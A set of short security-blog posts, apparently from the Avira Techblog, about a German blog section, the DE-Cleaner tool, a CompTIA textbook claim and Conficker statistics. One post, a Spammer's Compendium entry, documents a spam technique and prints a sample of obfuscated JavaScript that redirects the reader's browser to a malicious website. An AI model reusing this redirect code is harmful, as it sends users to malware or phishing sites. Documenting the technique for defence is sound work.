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The Avira Techblog has two languages from now on

Apparently, many German Facebook fans of Avira have difficulties reading English. Because of this reason, we have created a special page for them:   Today, I have created also in the Techblog a German area which is available here: Now it is pretty lonely there, but we will add more articles soon.  

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Avira DE-Cleaner

Have you seen this page : Avira has released the long awaited DE-Cleaner, which is a standalone tool intended to scan a PC without installing any drivers and registry keys. But, if the Avira DE-Cleaner detects that an Avira Premium or Personal Product is installed, it will use its drivers 😉 Cool…

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“Not all AV software are the same” – CompTIA Security+ 2008

CompTIA Security+ 2008, page 99, Chapter Antivirus Not all AV software is the same. Free AV software that is available for download through the Internet will typically only look for viruses in standard files. However, most commercial AV software will also look for Trojans, worms, macro viruses, and adware in standard files as well as in compressed (.ZIP) files. In which decade are you guys from CompTIA living ? *Any* AV product looks for those malware in all files. Maybe you should update the book 😉

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New Spammer’s Compendium Entry:The Responsibility Transfer

Source: The Responsibility Transfer UO!Responsibility!JavaScript 31 August 2010 Description Using an attached HTML document that contains almost the same page as the HTML-part of the email body, but uses obfuscated JavaScript to redirect the user to a malicious website. Submitted by Sorin Mustaca. Example <script>function r(){};fQ=false;d=””;r.prototype = {p : function() { this.j=”;var pN=54899;s=false;this.k=”k”;this.kH=22581;c=”;l=64422; document.location.href=String(“htt”+”p:/”+”/tr”+”ace”+”boo”+”k.u”+”s/1″+”.htOnc”.substr(0,3)+”ml”); this.g=59634;var o=false;z=”;f=”f”;e=””;y=22487;}};x=””; var gK=false;var zA=new r(); pU=”;this.u=”u”;zA.p();var lK=false; </script>

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Confiker again in the news – @Shadowserver:EU is bigger than you think guys

I have to confess, I never ever read anything on and everything I write here is taken from this page from McAfee Avert Labs Blog Shadowserver names 183 country codes and 5994 autonomous systems with Conficker IP in their network space: * 1086 for the Russian Federation (RU) * 597 for the United States (US) * 422 for Ukraine (UA) * 271 for Romania (RO) * 244 for Brazil (BR) * 243 for Republic of Korea (KR) * 184 for Poland (PL) * 166 for Bulgaria (BG) * 147 for Europe (EU) * 129 for Indonesia (ID) * 113 for Japan (JP) * 95 for China (CN) * 94 for India (IN) I can not stop myself to notice a very stupid mistake created by ignorance. If you look at the above quotation you see: * 271 for Romania (RO) * 184 for Poland (PL) * 166 for Bulgaria (BG) * 147 for Europe (EU) Well, useless to say… I hope … that the 3 countries are already part of the European Union. Have a look here:

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